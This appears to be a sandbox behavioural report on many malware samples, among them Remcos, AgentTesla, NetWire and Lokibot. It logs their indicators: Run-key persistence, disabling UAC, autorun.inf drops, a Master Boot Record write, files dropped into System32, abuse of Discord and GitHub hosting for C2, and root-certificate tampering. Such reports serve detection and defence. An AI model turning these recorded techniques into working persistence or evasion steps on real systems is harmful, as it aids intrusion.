Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\SVRNT = "C:\\Users\\Admin\\dane\\smss.exe" C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\Installer.exe = "C:\\Users\\Admin\\AppData\\Roaming\\Installer.exe" C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\jCMCgXiSHJ = "C:\\Users\\Admin\\AppData\\Roaming\\qEMFsTeRPC\\cGEDpDSLzj.exe" C:\Users\Admin\AppData\Local\Temp\2020.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\remcos = "\"C:\\Windows\\SysWOW64\\Userdata\\Userdata.exe\"" C:\Users\Admin\AppData\Local\Temp\Remcos.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\javaw = "C:\\Users\\Admin\\AppData\\Roaming\\javaw.exe" C:\Users\Admin\AppData\Local\Temp\Josh Bogler.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows\CurrentVersion\Run\Runtime Broker = "\"C:\\Users\\Admin\\AppData\\Roaming\\SubDir\\Client.exe\"" C:\Users\Admin\AppData\Roaming\SubDir\Client.exe N/A

Checks whether UAC is enabled

defense_evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A

Indicator Removal: File Deletion

defense_evasion

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A discord.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A api.ipify.org N/A N/A
N/A api.ipify.org N/A N/A
N/A ip-api.com N/A N/A
N/A whatismyipaddress.com N/A N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\SteamOBrute.exe N/A

Drops autorun.inf file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Temp\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File created C:\Users\Admin\dane\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File opened for modification \??\E:\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File created F:\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File created \??\G:\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File opened for modification \??\G:\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File opened for modification \??\Z:\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File opened for modification F:\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File opened for modification D:\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File created \??\E:\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File opened for modification C:\Users\Admin\AppData\Local\Temp\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File opened for modification C:\Users\Admin\dane\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File created C:\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File opened for modification C:\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File created D:\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File created \??\Z:\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File created \??\Y:\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
File opened for modification \??\Y:\autorun.inf C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\system32\d3dx9_43.dll C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
File created C:\Windows\System32\LogonUI.exe C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
File opened for modification C:\Windows\System32\LogonUI.exe C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
File created C:\Windows\SysWOW64\sysdmkm.exe C:\Users\Admin\AppData\Local\Temp\proxyt.exe N/A
File opened for modification C:\Windows\SysWOW64\sysdmkm.exe C:\Users\Admin\AppData\Local\Temp\proxyt.exe N/A
File created C:\Windows\SysWOW64\Userdata\Userdata.exe C:\Users\Admin\AppData\Local\Temp\Remcos.exe N/A
File opened for modification C:\Windows\SysWOW64\Userdata\Userdata.exe C:\Users\Admin\AppData\Local\Temp\Remcos.exe N/A
File opened for modification C:\Windows\SysWOW64\Userdata C:\Users\Admin\AppData\Local\Temp\Remcos.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\TempYYQWIWPY3XQQH0RKEC8MD5OYH8MUXBM8.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\Briano\UWPHook\MaterialDesignColors.dll C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe N/A
File created C:\Program Files (x86)\Briano\UWPHook\MaterialDesignThemes.Wpf.dll C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe N/A
File created C:\Program Files (x86)\Briano\UWPHook\Microsoft.Management.Infrastructure.dll C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe N/A
File created C:\Program Files (x86)\Briano\UWPHook\System.Management.Automation.dll C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe N/A
File created C:\Program Files (x86)\Briano\UWPHook\UWPHook.exe C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe N/A
File created C:\Program Files (x86)\Briano\UWPHook\VDFParser.dll C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe N/A
File created C:\PROGRA~3\Hdlharas\dlrarhsiva.exe C:\Users\Admin\AppData\Local\Temp\CrimsonRAT.exe N/A
File created C:\Program Files (x86)\Briano\UWPHook\MaterialDesignThemes.Wpf.xml C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe N/A
File created C:\Program Files (x86)\Briano\UWPHook\SharpSteam.dll C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe N/A
File created C:\Program Files (x86)\Briano\UWPHook\System.Management.Automation.xml C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe N/A
File created C:\Program Files (x86)\Briano\UWPHook\UWPHook.exe.config C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe N/A
File opened for modification C:\PROGRA~3\Hdlharas\dlrarhsiva.exe C:\Users\Admin\AppData\Local\Temp\CrimsonRAT.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\psychosomaticDLL.dll C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
File opened for modification C:\Windows\SYSTEM.INI C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
File created C:\Windows\Skypee\skypee.exe C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe N/A
File opened for modification C:\Windows\Skypee\skypee.exe C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe N/A
File created C:\Windows\Tasks\rapes.job C:\Users\Admin\AppData\Local\TempYYQWIWPY3XQQH0RKEC8MD5OYH8MUXBM8.EXE N/A

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Remcos.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\Userdata\Userdata.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\5d2514a19b4099f082c344112df843b0bdf48c861c4dd81992758a8c10d38351.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\2020.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Unconfirmed 78105.crdownload.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\VirusShare_0ac0c5dc1e706e301c8f902b78c41e3b.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Internet Explorer\iexplore.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\TempYYQWIWPY3XQQH0RKEC8MD5OYH8MUXBM8.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\rundll32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\SubDir\Client.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\NetWire.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\setup-25031953484.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\2020.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Lokibot.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\VirusShare_fff8783b7567821cec8838d075d247e1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\RarSFX1\love.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\SteamOBrute.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\putty.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Totally A Safe File.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\ProgramData\Synaptics\Synaptics.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sysdmkm.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\regsvr32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\reg.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\NetWire.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\amadey.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\malware.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\PING.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\RarSFX1\ForYou.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Delays execution with timeout.exe

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\MediaProperties C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\MediaProperties\PrivateProperties C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\MediaProperties\PrivateProperties\Joystick C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\MediaProperties\PrivateProperties\Joystick\Winmm\wheel = "1" C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Key created \REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\MediaProperties\PrivateProperties\Joystick\Winmm C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Key created \REGISTRY\USER\.DEFAULT\System C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\MediaProperties\PrivateProperties\Joystick\Winmm C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Direct3D\MostRecentApplication C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Direct3D\MostRecentApplication\Name = "psychosomatic.RAT.exe" C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{4FD2B5ED-F6FA-A1B3-7F52-D7E0FD397AC5}\ = "Outlook Office Explorer" C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{4FD2B5ED-F6FA-A1B3-7F52-D7E0FD397AC5}\InprocHandler32 C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{4FD2B5ED-F6FA-A1B3-7F52-D7E0FD397AC5}\LocalServer32 C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node C:\Users\Admin\AppData\Local\Temp\SteamOBrute.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID C:\Users\Admin\AppData\Local\Temp\SteamOBrute.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{4FD2B5ED-F6FA-A1B3-7F52-D7E0FD397AC5} C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{4FD2B5ED-F6FA-A1B3-7F52-D7E0FD397AC5}\InprocHandler32\ = "ole32.dll" C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{4FD2B5ED-F6FA-A1B3-7F52-D7E0FD397AC5}\LocalServer32\ = "C:\\PROGRA~2\\MICROS~1\\Office14\\OUTLOOK.EXE" C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0EE0DB8B-ECBF-4FFC-AD45-7E2CDAC66C03}\Info C:\Users\Admin\AppData\Local\Temp\SteamOBrute.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0EE0DB8B-ECBF-4FFC-AD45-7E2CDAC66C03} C:\Users\Admin\AppData\Local\Temp\SteamOBrute.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0EE0DB8B-ECBF-4FFC-AD45-7E2CDAC66C03}\Info\P1 = "1" C:\Users\Admin\AppData\Local\Temp\SteamOBrute.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A
N/A N/A C:\Windows\SysWOW64\reg.exe N/A
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Modifies system certificate store

defense_evasion spyware trojan
Description Indicator Process Target
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe N/A
